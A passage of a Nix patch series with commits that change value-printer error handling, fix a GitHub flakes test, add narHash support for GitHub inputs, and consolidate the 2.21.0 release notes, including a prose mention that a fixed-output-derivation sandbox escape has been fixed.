static PrintOptions errorPrintOptions = PrintOptions { .maxDepth = 10, .maxAttrs = 10, .maxListItems = 10, - .maxStringLength = 1024 + .maxStringLength = 1024, }; } diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 9d280f623..f67e94750 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -271,25 +271,21 @@ private: void printDerivation(Value & v) { - try { - Bindings::iterator i = v.attrs->find(state.sDrvPath); - NixStringContext context; - std::string storePath; - if (i != v.attrs->end()) - storePath = state.store->printStorePath(state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation")); + Bindings::iterator i = v.attrs->find(state.sDrvPath); + NixStringContext context; + std::string storePath; + if (i != v.attrs->end()) + storePath = state.store->printStorePath(state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation")); - if (options.ansiColors) - output << ANSI_GREEN; - output << "«derivation"; - if (!storePath.empty()) { - output << " " << storePath; - } - output << "»"; - if (options.ansiColors) - output << ANSI_NORMAL; - } catch (Error & e) { - printError_(e); + if (options.ansiColors) + output << ANSI_GREEN; + output << "«derivation"; + if (!storePath.empty()) { + output << " " << storePath; } + output << "»"; + if (options.ansiColors) + output << ANSI_NORMAL; } bool shouldPrettyPrintAttrs(AttrVec & v) @@ -510,64 +506,68 @@ private: output.flush(); checkInterrupt(); - if (options.force) { - try { + try { + if (options.force) { state.forceValue(v, v.determinePos(noPos)); - } catch (Error & e) { - printError_(e); - return; } - } - switch (v.type()) { + switch (v.type()) { - case nInt: - printInt(v); - break; + case nInt: + printInt(v); + break; - case nFloat: - printFloat(v); - break; + case nFloat: + printFloat(v); + break; - case nBool: - printBool(v); - break; + case nBool: + printBool(v); + break; - case nString: - printString(v); - break; + case nString: + printString(v); + break; - case nPath: - printPath(v); - break; + case nPath: + printPath(v); + break; - case nNull: - printNull(); - break; + case nNull: + printNull(); + break; - case nAttrs: - printAttrs(v, depth); - break; + case nAttrs: + printAttrs(v, depth); + break; - case nList: - printList(v, depth); - break; + case nList: + printList(v, depth); + break; - case nFunction: - printFunction(v); - break; + case nFunction: + printFunction(v); + break; - case nThunk: - printThunk(v); - break; + case nThunk: + printThunk(v); + break; - case nExternal: - printExternal(v); - break; + case nExternal: + printExternal(v); + break; - default: - printUnknown(); - break; + default: + printUnknown(); + break; + } + } catch (Error & e) { + if (options.errors == ErrorPrintBehavior::Throw + || (options.errors == ErrorPrintBehavior::ThrowTopLevel + && depth == 0)) { + throw; + } + printError_(e); } } From c1811c1eba8f6ebfecfd15ff2ec622911b7aeae9 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Sun, 10 Mar 2024 13:38:38 +0100 Subject: [PATCH 75/90] Fix GitHub test Cherry-picked from 03618bb85f609a9b2f3cd6b82628a95b425e3b72. --- tests/nixos/github-flakes.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/nixos/github-flakes.nix b/tests/nixos/github-flakes.nix index a51689445..6f8a5b9d8 100644 --- a/tests/nixos/github-flakes.nix +++ b/tests/nixos/github-flakes.nix @@ -58,7 +58,7 @@ let mkdir -p $out/{commits,tarball} # Setup https://docs.github.com/en/rest/commits/commits#get-a-commit - echo '{"sha": "${private-flake-rev}"}' > $out/commits/HEAD + echo '{"sha": "${private-flake-rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD # Setup tarball download via API dir=private-flake @@ -72,7 +72,7 @@ let mkdir -p $out/commits # Setup https://docs.github.com/en/rest/commits/commits#get-a-commit - echo '{"sha": "${nixpkgs.rev}"}' > $out/commits/HEAD + echo '{"sha": "${nixpkgs.rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD ''; archive = pkgs.runCommand "nixpkgs-flake" {} From 841fd78baac507b1e97921afa3c2ebaeb6c65bfd Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Sun, 10 Mar 2024 13:56:53 +0100 Subject: [PATCH 76/90] GitArchiveInputScheme: Support the narHash attribute This is required to produce a locked flakeref. --- src/libfetchers/github.cc | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 1ca639419..8100afe4d 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -98,6 +98,10 @@ struct GitArchiveInputScheme : InputScheme if (ref) input.attrs.insert_or_assign("ref", *ref); if (host_url) input.attrs.insert_or_assign("host", *host_url); + auto narHash = url.query.find("narHash"); + if (narHash != url.query.end()) + input.attrs.insert_or_assign("narHash", narHash->second); + return input; } @@ -135,10 +139,13 @@ struct GitArchiveInputScheme : InputScheme assert(!(ref && rev)); if (ref) path += "/" + *ref; if (rev) path += "/" + rev->to_string(HashFormat::Base16, false); - return ParsedURL { + auto url = ParsedURL { .scheme = std::string { schemeName() }, .path = path, }; + if (auto narHash = input.getNarHash()) + url.query.insert_or_assign("narHash", narHash->to_string(HashFormat::SRI, true)); + return url; } Input applyOverrides( From db9bab2708d8a44067156da686dbaf7604f4bc47 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sun, 10 Mar 2024 12:56:07 -0700 Subject: [PATCH 77/90] `Matcher`: Add virtual destructor --- src/nix/profile.cc | 1 + 1 file changed, 1 insertion(+) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index c0f805794..a5a40e4f6 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -481,6 +481,7 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile struct Matcher { + virtual ~Matcher() { } virtual std::string getTitle() = 0; virtual bool matches(const std::string & name, const ProfileElement & element) = 0; }; From 74008d82159b281a9d095a73a39189b8648068e9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Mon, 11 Mar 2024 15:34:23 +0100 Subject: [PATCH 78/90] Run preInstallCheck even when not building Add `runHook preInstallCheck` to the overriden `installCheckPhase` used for the non-build case. In particular, this allow the fix from 2a3451077677787eae176c72717817ba80738a5e to also apply there. --- package.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/package.nix b/package.nix index fa898e906..7d9a39771 100644 --- a/package.nix +++ b/package.nix @@ -343,6 +343,7 @@ in { # Work around weird bug where it doesn't think there is a Makefile. installCheckPhase = if (!doBuild && doInstallCheck) then '' + runHook preInstallCheck mkdir -p src/nix-channel make installcheck -j$NIX_BUILD_CORES -l$NIX_BUILD_CORES '' else null; From b12dc76cfc9d6de0cdb1e34d43f1373a3b305772 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 11 Mar 2024 16:22:29 +0100 Subject: [PATCH 79/90] release notes: 2.21.0 --- doc/manual/rl-next/arg-from-file.md | 9 - .../rl-next/better-errors-in-nix-repl.md | 40 -- .../debugger-locals-for-let-expressions.md | 9 - doc/manual/rl-next/debugger-on-trace.md | 9 - doc/manual/rl-next/debugger-positions.md | 25 -- ...debugger-more-reliably-in-let-and-calls.md | 25 -- doc/manual/rl-next/fod-sandbox-escape.md | 14 - doc/manual/rl-next/forbid-nested-debuggers.md | 32 -- doc/manual/rl-next/formal-order.md | 7 - doc/manual/rl-next/inherit-error-positions.md | 6 - doc/manual/rl-next/inherit-from-by-need.md | 7 - doc/manual/rl-next/lambda-printing.md | 50 --- doc/manual/rl-next/leading-period.md | 10 - .../rl-next/more-commands-respect-ctrl-c.md | 13 - .../rl-next/pretty-print-in-nix-repl.md | 24 -- doc/manual/rl-next/profile-regex-all.md | 35 -- doc/manual/rl-next/reduce-debugger-clutter.md | 37 -- .../rl-next/repl-ctrl-c-while-printing.md | 8 - doc/manual/rl-next/repl-cycle-detection.md | 22 -- ...-location-in-while-evaluating-attribute.md | 23 -- doc/manual/rl-next/stack-size-macos.md | 9 - doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/release-notes/rl-2.21.md | 366 ++++++++++++++++++ 23 files changed, 367 insertions(+), 414 deletions(-) delete mode 100644 doc/manual/rl-next/arg-from-file.md delete mode 100644 doc/manual/rl-next/better-errors-in-nix-repl.md delete mode 100644 doc/manual/rl-next/debugger-locals-for-let-expressions.md delete mode 100644 doc/manual/rl-next/debugger-on-trace.md delete mode 100644 doc/manual/rl-next/debugger-positions.md delete mode 100644 doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md delete mode 100644 doc/manual/rl-next/fod-sandbox-escape.md delete mode 100644 doc/manual/rl-next/forbid-nested-debuggers.md delete mode 100644 doc/manual/rl-next/formal-order.md delete mode 100644 doc/manual/rl-next/inherit-error-positions.md delete mode 100644 doc/manual/rl-next/inherit-from-by-need.md delete mode 100644 doc/manual/rl-next/lambda-printing.md delete mode 100644 doc/manual/rl-next/leading-period.md delete mode 100644 doc/manual/rl-next/more-commands-respect-ctrl-c.md delete mode 100644 doc/manual/rl-next/pretty-print-in-nix-repl.md delete mode 100644 doc/manual/rl-next/profile-regex-all.md delete mode 100644 doc/manual/rl-next/reduce-debugger-clutter.md delete mode 100644 doc/manual/rl-next/repl-ctrl-c-while-printing.md delete mode 100644 doc/manual/rl-next/repl-cycle-detection.md delete mode 100644 doc/manual/rl-next/source-location-in-while-evaluating-attribute.md delete mode 100644 doc/manual/rl-next/stack-size-macos.md create mode 100644 doc/manual/src/release-notes/rl-2.21.md diff --git a/doc/manual/rl-next/arg-from-file.md b/doc/manual/rl-next/arg-from-file.md deleted file mode 100644 index 5849b11a3..000000000 --- a/doc/manual/rl-next/arg-from-file.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: "CLI options `--arg-from-file` and `--arg-from-stdin`" -prs: 10122 ---- - -The new CLI option `--arg-from-file` *name* *path* passes the contents -of file *path* as a string value via the function argument *name* to a -Nix expression. Similarly, the new option `--arg-from-stdin` *name* -reads the contents of the string from standard input. diff --git a/doc/manual/rl-next/better-errors-in-nix-repl.md b/doc/manual/rl-next/better-errors-in-nix-repl.md deleted file mode 100644 index 4deaa8c70..000000000 --- a/doc/manual/rl-next/better-errors-in-nix-repl.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -synopsis: Concise error printing in `nix repl` -prs: 9928 ---- - -Previously, if an element of a list or attribute set threw an error while -evaluating, `nix repl` would print the entire error (including source location -information) inline. This output was clumsy and difficult to parse: - -``` -nix-repl> { err = builtins.throw "uh oh!"; } -{ err = «error: - … while calling the 'throw' builtin - at «string»:1:9: - 1| { err = builtins.throw "uh oh!"; } - | ^ - - error: uh oh!»; } -``` - -Now, only the error message is displayed, making the output much more readable. -``` -nix-repl> { err = builtins.throw "uh oh!"; } -{ err = «error: uh oh!»; } -``` - -However, if the whole expression being evaluated throws an error, source -locations and (if applicable) a stack trace are printed, just like you'd expect: - -``` -nix-repl> builtins.throw "uh oh!" -error: - … while calling the 'throw' builtin - at «string»:1:1: - 1| builtins.throw "uh oh!" - | ^ - - error: uh oh! -``` - diff --git a/doc/manual/rl-next/debugger-locals-for-let-expressions.md b/doc/manual/rl-next/debugger-locals-for-let-expressions.md deleted file mode 100644 index 736208724..000000000 --- a/doc/manual/rl-next/debugger-locals-for-let-expressions.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: "`--debugger` can now access bindings from `let` expressions" -prs: 9918 -issues: 8827. ---- - -Breakpoints and errors in the bindings of a `let` expression can now access -those bindings in the debugger. Previously, only the body of `let` expressions -could access those bindings. diff --git a/doc/manual/rl-next/debugger-on-trace.md b/doc/manual/rl-next/debugger-on-trace.md deleted file mode 100644 index 721928550..000000000 --- a/doc/manual/rl-next/debugger-on-trace.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: Enter the `--debugger` when `builtins.trace` is called if `debugger-on-trace` is set -prs: 9914 ---- - -If the `debugger-on-trace` option is set and `--debugger` is given, -`builtins.trace` calls will behave similarly to `builtins.break` and will enter -the debug REPL. This is useful for determining where warnings are being emitted -from. diff --git a/doc/manual/rl-next/debugger-positions.md b/doc/manual/rl-next/debugger-positions.md deleted file mode 100644 index 2fe868413..000000000 --- a/doc/manual/rl-next/debugger-positions.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -synopsis: Debugger prints source position information -prs: 9913 ---- - -The `--debugger` now prints source location information, instead of the -pointers of source location information. Before: - -``` -nix-repl> :bt -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -0x600001522598 -``` - -After: - -``` -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -/nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 - - 131| - 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; - | ^ - 133| in -``` diff --git a/doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md b/doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md deleted file mode 100644 index c93225816..000000000 --- a/doc/manual/rl-next/enter-debugger-more-reliably-in-let-and-calls.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -synopsis: The `--debugger` will start more reliably in `let` expressions and function calls -prs: 9917 -issues: 6649 ---- - -Previously, if you attempted to evaluate this file with the debugger: - -```nix -let - a = builtins.trace "before inner break" ( - builtins.break "hello" - ); - b = builtins.trace "before outer break" ( - builtins.break a - ); -in - b -``` - -Nix would correctly enter the debugger at `builtins.break a`, but if you asked -it to `:continue`, it would skip over the `builtins.break "hello"` expression -entirely. - -Now, Nix will correctly enter the debugger at both breakpoints. diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md deleted file mode 100644 index ed451711e..000000000 --- a/doc/manual/rl-next/fod-sandbox-escape.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -synopsis: Fix a FOD sandbox escape -issues: -prs: ---- - -Cooperating Nix derivations could send file descriptors to files in the Nix -store to each other via Unix domain sockets in the abstract namespace. This -allowed one derivation to modify the output of the other derivation, after Nix -has registered the path as "valid" and immutable in the Nix database. -In particular, this allowed the output of fixed-output derivations to be -modified from their expected content. - -This isn't the case any more. diff --git a/doc/manual/rl-next/forbid-nested-debuggers.md b/doc/manual/rl-next/forbid-nested-debuggers.md deleted file mode 100644 index a5924b24f..000000000 --- a/doc/manual/rl-next/forbid-nested-debuggers.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -synopsis: Nested debuggers are no longer supported -prs: 9920 ---- - -Previously, evaluating an expression that throws an error in the debugger would -enter a second, nested debugger: - -``` -nix-repl> builtins.throw "what" -error: what - - -Starting REPL to allow you to inspect the current state of the evaluator. - -Welcome to Nix 2.18.1. Type :? for help. - -nix-repl> -``` - -Now, it just prints the error message like `nix repl`: - -``` -nix-repl> builtins.throw "what" -error: - … while calling the 'throw' builtin - at «string»:1:1: - 1| builtins.throw "what" - | ^ - - error: what -``` diff --git a/doc/manual/rl-next/formal-order.md b/doc/manual/rl-next/formal-order.md deleted file mode 100644 index 12628e318..000000000 --- a/doc/manual/rl-next/formal-order.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -synopsis: consistent order of lambda formals in printed expressions -prs: 9874 ---- - -Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. -This makes printed formals independent of the context they appear in. diff --git a/doc/manual/rl-next/inherit-error-positions.md b/doc/manual/rl-next/inherit-error-positions.md deleted file mode 100644 index 643080e9e..000000000 --- a/doc/manual/rl-next/inherit-error-positions.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -synopsis: fix duplicate attribute error positions for `inherit` -prs: 9874 ---- - -When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. diff --git a/doc/manual/rl-next/inherit-from-by-need.md b/doc/manual/rl-next/inherit-from-by-need.md deleted file mode 100644 index 67c2cdedf..000000000 --- a/doc/manual/rl-next/inherit-from-by-need.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -synopsis: "`inherit (x) ...` evaluates `x` only once" -prs: 9847 ---- - -`inherit (x) a b ...` now evaluates the expression `x` only once for all inherited attributes rather than once for each inherited attribute. -This does not usually have a measurable impact, but side-effects (such as `builtins.trace`) would be duplicated and expensive expressions (such as derivations) could cause a measurable slowdown. diff --git a/doc/manual/rl-next/lambda-printing.md b/doc/manual/rl-next/lambda-printing.md deleted file mode 100644 index 3a63f3068..000000000 --- a/doc/manual/rl-next/lambda-printing.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -synopsis: Functions are printed with more detail -prs: 9606 -issues: 7145 ---- - -Functions and `builtins` are printed with more detail in `nix repl`, `nix -eval`, `builtins.trace`, and most other places values are printed. - -Before: - -``` -$ nix repl nixpkgs -nix-repl> builtins.map -«primop» - -nix-repl> builtins.map lib.id -«primop-app» - -nix-repl> builtins.trace lib.id "my-value" -trace: -"my-value" - -$ nix eval --file functions.nix -{ id = ; primop = ; primop-app = ; } -``` - -After: - -``` -$ nix repl nixpkgs -nix-repl> builtins.map -«primop map» - -nix-repl> builtins.map lib.id -«partially applied primop map» - -nix-repl> builtins.trace lib.id "my-value" -trace: «lambda id @ /nix/store/8rrzq23h2zq7sv5l2vhw44kls5w0f654-source/lib/trivial.nix:26:5» -"my-value" - -$ nix eval --file functions.nix -{ id = «lambda id @ /Users/wiggles/nix/functions.nix:2:8»; primop = «primop map»; primop-app = «partially applied primop map»; } -``` - -This was actually released in Nix 2.20, but wasn't added to the release notes -so we're announcing it here. The historical release notes have been updated as well. - -[type-error]: https://github.com/NixOS/nix/pull/9753 -[coercion-error]: https://github.com/NixOS/nix/pull/9754 diff --git a/doc/manual/rl-next/leading-period.md b/doc/manual/rl-next/leading-period.md deleted file mode 100644 index ef7c2326f..000000000 --- a/doc/manual/rl-next/leading-period.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -synopsis: Store paths are allowed to start with `.` -issues: 912 -prs: 9867 9091 9095 9120 9121 9122 9130 9219 9224 ---- - -Leading periods were allowed by accident in Nix 2.4. The Nix team has considered this to be a bug, but this behavior has since been relied on by users, leading to unnecessary difficulties. -From now on, leading periods are officially, definitively supported. The names `.` and `..` are disallowed, as well as those starting with `.-` or `..-`. - -Nix versions that denied leading periods are documented [in the issue](https://github.com/NixOS/nix/issues/912#issuecomment-1919583286). diff --git a/doc/manual/rl-next/more-commands-respect-ctrl-c.md b/doc/manual/rl-next/more-commands-respect-ctrl-c.md deleted file mode 100644 index 948930c96..000000000 --- a/doc/manual/rl-next/more-commands-respect-ctrl-c.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -synopsis: Nix commands respect Ctrl-C -prs: 9687 6995 -issues: 7245 ---- - -Previously, many Nix commands would hang indefinitely if Ctrl-C was pressed -while performing various operations (including `nix develop`, `nix flake -update`, and so on). With several fixes to Nix's signal handlers, Nix commands -will now exit quickly after Ctrl-C is pressed. - -This was actually released in Nix 2.20, but wasn't added to the release notes -so we're announcing it here. The historical release notes have been updated as well. diff --git a/doc/manual/rl-next/pretty-print-in-nix-repl.md b/doc/manual/rl-next/pretty-print-in-nix-repl.md deleted file mode 100644 index 26ba5162a..000000000 --- a/doc/manual/rl-next/pretty-print-in-nix-repl.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -synopsis: "`nix repl` pretty-prints values" -prs: 9931 ---- - -`nix repl` will now pretty-print values: - -``` -{ - attrs = { - a = { - b = { - c = { }; - }; - }; - }; - list = [ 1 ]; - list' = [ - 1 - 2 - 3 - ]; -} -``` diff --git a/doc/manual/rl-next/profile-regex-all.md b/doc/manual/rl-next/profile-regex-all.md deleted file mode 100644 index e3e6849cc..000000000 --- a/doc/manual/rl-next/profile-regex-all.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -synopsis: Introduction of `--regex` and `--all` in `nix profile remove` and `nix profile upgrade` -prs: 10166 ---- - -Previously the command-line arguments for `nix profile remove` and `nix profile upgrade` matched the package entries using regular expression. -For instance: - -``` -nix profile remove '.*vim.*' -``` - -This would remove all packages that contain `vim` in their name. - -In most cases, only singular package names were used to remove and upgrade packages. Mixing this with regular expressions sometimes lead to unintended behavior. For instance, `python3.1` could match `python311`. - -To avoid unintended behavior, the arguments are now only matching exact names. - -Matching using regular expressions is still possible by using the new `--regex` flag: - -``` -nix profile remove --regex '.*vim.*' -``` - -One of the most useful cases for using regular expressions was to upgrade all packages. This was previously accomplished by: - -``` -nix profile upgrade '.*' -``` - -With the introduction of the `--all` flag, this now becomes more straightforward: - -``` -nix profile upgrade --all -``` diff --git a/doc/manual/rl-next/reduce-debugger-clutter.md b/doc/manual/rl-next/reduce-debugger-clutter.md deleted file mode 100644 index 9bc902eee..000000000 --- a/doc/manual/rl-next/reduce-debugger-clutter.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -synopsis: "Visual clutter in `--debugger` is reduced" -prs: 9919 ---- - -Before: -``` -info: breakpoint reached - - -Starting REPL to allow you to inspect the current state of the evaluator. - -Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. - -nix-repl> :continue -error: uh oh - - -Starting REPL to allow you to inspect the current state of the evaluator. - -Welcome to Nix 2.20.0pre20231222_dirty. Type :? for help. - -nix-repl> -``` - -After: - -``` -info: breakpoint reached - -Nix 2.20.0pre20231222_dirty debugger -Type :? for help. -nix-repl> :continue -error: uh oh - -nix-repl> -``` diff --git a/doc/manual/rl-next/repl-ctrl-c-while-printing.md b/doc/manual/rl-next/repl-ctrl-c-while-printing.md deleted file mode 100644 index 15b0daa0a..000000000 --- a/doc/manual/rl-next/repl-ctrl-c-while-printing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -synopsis: "`nix repl` now respects Ctrl-C while printing values" -prs: 9927 ---- - -`nix repl` will now halt immediately when Ctrl-C is pressed while it's printing -a value. This is useful if you got curious about what would happen if you -printed all of Nixpkgs. diff --git a/doc/manual/rl-next/repl-cycle-detection.md b/doc/manual/rl-next/repl-cycle-detection.md deleted file mode 100644 index de24c4be1..000000000 --- a/doc/manual/rl-next/repl-cycle-detection.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -synopsis: Cycle detection in `nix repl` is simpler and more reliable -prs: 9926 -issues: 8672 ---- - -The cycle detection in `nix repl`, `nix eval`, `builtins.trace`, and everywhere -else values are printed is now simpler and matches the cycle detection in -`nix-instantiate --eval` output. - -Before: - -``` -nix eval --expr 'let self = { inherit self; }; in self' -{ self = { self = «repeated»; }; } -``` - -After: - -``` -{ self = «repeated»; } -``` diff --git a/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md b/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md deleted file mode 100644 index 0e0b74c5a..000000000 --- a/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -synopsis: "In the debugger, `while evaluating the attribute` errors now include position information" -prs: 9915 ---- - -Before: - -``` -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -0x600001522598 -``` - -After: - -``` -0: while evaluating the attribute 'python311.pythonForBuild.pkgs' -/nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 - - 131| - 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; - | ^ - 133| in -``` diff --git a/doc/manual/rl-next/stack-size-macos.md b/doc/manual/rl-next/stack-size-macos.md deleted file mode 100644 index b1c40bb5a..000000000 --- a/doc/manual/rl-next/stack-size-macos.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: Stack size is increased on macOS -prs: 9860 ---- - -Previously, Nix would set the stack size to 64MiB on Linux, but would leave the -stack size set to the default (approximately 8KiB) on macOS. Now, the stack -size is correctly set to 64MiB on macOS as well, which should reduce stack -overflow segfaults in deeply-recursive Nix expressions. diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 70dea4fbd..1149fc7b4 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -121,6 +121,7 @@ - [C++ style guide](contributing/cxx.md) - [Release Notes](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} + - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md) - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md) - [Release 2.19 (2023-11-17)](release-notes/rl-2.19.md) - [Release 2.18 (2023-09-20)](release-notes/rl-2.18.md) diff --git a/doc/manual/src/release-notes/rl-2.21.md b/doc/manual/src/release-notes/rl-2.21.md new file mode 100644 index 000000000..707b56ce1 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.21.md @@ -0,0 +1,366 @@ +# Release 2.21.0 (2024-03-11) + +- CLI options `--arg-from-file` and `--arg-from-stdin` [#10122](https://github.com/NixOS/nix/pull/10122) + + The new CLI option `--arg-from-file` *name* *path* passes the contents + of file *path* as a string value via the function argument *name* to a + Nix expression. Similarly, the new option `--arg-from-stdin` *name* + reads the contents of the string from standard input. + +- Concise error printing in `nix repl` [#9928](https://github.com/NixOS/nix/pull/9928) + + Previously, if an element of a list or attribute set threw an error while + evaluating, `nix repl` would print the entire error (including source location + information) inline. This output was clumsy and difficult to parse: + + ``` + nix-repl> { err = builtins.throw "uh oh!"; } + { err = «error: + … while calling the 'throw' builtin + at «string»:1:9: + 1| { err = builtins.throw "uh oh!"; } + | ^ + + error: uh oh!»; } + ``` + + Now, only the error message is displayed, making the output much more readable. + ``` + nix-repl> { err = builtins.throw "uh oh!"; } + { err = «error: uh oh!»; } + ``` + + However, if the whole expression being evaluated throws an error, source + locations and (if applicable) a stack trace are printed, just like you'd expect: + + ``` + nix-repl> builtins.throw "uh oh!" + error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "uh oh!" + | ^ + + error: uh oh! + ``` + +- `--debugger` can now access bindings from `let` expressions [#8827](https://github.com/NixOS/nix/issues/8827) [#9918](https://github.com/NixOS/nix/pull/9918) + + Breakpoints and errors in the bindings of a `let` expression can now access + those bindings in the debugger. Previously, only the body of `let` expressions + could access those bindings. + +- Enter the `--debugger` when `builtins.trace` is called if `debugger-on-trace` is set [#9914](https://github.com/NixOS/nix/pull/9914) + + If the `debugger-on-trace` option is set and `--debugger` is given, + `builtins.trace` calls will behave similarly to `builtins.break` and will enter + the debug REPL. This is useful for determining where warnings are being emitted + from. + +- Debugger prints source position information [#9913](https://github.com/NixOS/nix/pull/9913) + + The `--debugger` now prints source location information, instead of the + pointers of source location information. Before: + + ``` + nix-repl> :bt + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- The `--debugger` will start more reliably in `let` expressions and function calls [#6649](https://github.com/NixOS/nix/issues/6649) [#9917](https://github.com/NixOS/nix/pull/9917) + + Previously, if you attempted to evaluate this file with the debugger: + + ```nix + let + a = builtins.trace "before inner break" ( + builtins.break "hello" + ); + b = builtins.trace "before outer break" ( + builtins.break a + ); + in + b + ``` + + Nix would correctly enter the debugger at `builtins.break a`, but if you asked + it to `:continue`, it would skip over the `builtins.break "hello"` expression + entirely. + + Now, Nix will correctly enter the debugger at both breakpoints. + +- Fix a FOD sandbox escape + + Cooperating Nix derivations could send file descriptors to files in the Nix + store to each other via Unix domain sockets in the abstract namespace. This + allowed one derivation to modify the output of the other derivation, after Nix + has registered the path as "valid" and immutable in the Nix database. + In particular, this allowed the output of fixed-output derivations to be + modified from their expected content. + + This isn't the case any more. + +- Nested debuggers are no longer supported [#9920](https://github.com/NixOS/nix/pull/9920) + + Previously, evaluating an expression that throws an error in the debugger would + enter a second, nested debugger: + + ``` + nix-repl> builtins.throw "what" + error: what + + + Starting REPL to allow you to inspect the current state of the evaluator. + + Welcome to Nix 2.18.1. Type :? for help. + + nix-repl> + ``` + + Now, it just prints the error message like `nix repl`: + + ``` + nix-repl> builtins.throw "what" + error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "what" + | ^ + + error: what + ``` + +- consistent order of lambda formals in printed expressions [#9874](https://github.com/NixOS/nix/pull/9874) + + Always print lambda formals in lexicographic order rather than the internal, creation-time based symbol order. + This makes printed formals independent of the context they appear in. + +- fix duplicate attribute error positions for `inherit` [#9874](https://github.com/NixOS/nix/pull/9874) + + When an inherit caused a duplicate attribute error the position of the error was not reported correctly, placing the error with the inherit itself or at the start of the bindings block instead of the offending attribute name. + +- `inherit (x) ...` evaluates `x` only once [#9847](https://github.com/NixOS/nix/pull/9847) + + `inherit (x) a b ...` now evaluates the expression `x` only once for all inherited attributes rather than once for each inherited attribute. + This does not usually have a measurable impact, but side-effects (such as `builtins.trace`) would be duplicated and expensive expressions (such as derivations) could cause a measurable slowdown. + +- Functions are printed with more detail [#7145](https://github.com/NixOS/nix/issues/7145) [#9606](https://github.com/NixOS/nix/pull/9606) + + Functions and `builtins` are printed with more detail in `nix repl`, `nix + eval`, `builtins.trace`, and most other places values are printed. + + Before: + + ``` + $ nix repl nixpkgs + nix-repl> builtins.map + «primop» + + nix-repl> builtins.map lib.id + «primop-app» + + nix-repl> builtins.trace lib.id "my-value" + trace: + "my-value" + + $ nix eval --file functions.nix + { id = ; primop = ; primop-app = ; } + ``` + + After: + + ``` + $ nix repl nixpkgs + nix-repl> builtins.map + «primop map» + + nix-repl> builtins.map lib.id + «partially applied primop map» + + nix-repl> builtins.trace lib.id "my-value" + trace: «lambda id @ /nix/store/8rrzq23h2zq7sv5l2vhw44kls5w0f654-source/lib/trivial.nix:26:5» + "my-value" + + $ nix eval --file functions.nix + { id = «lambda id @ 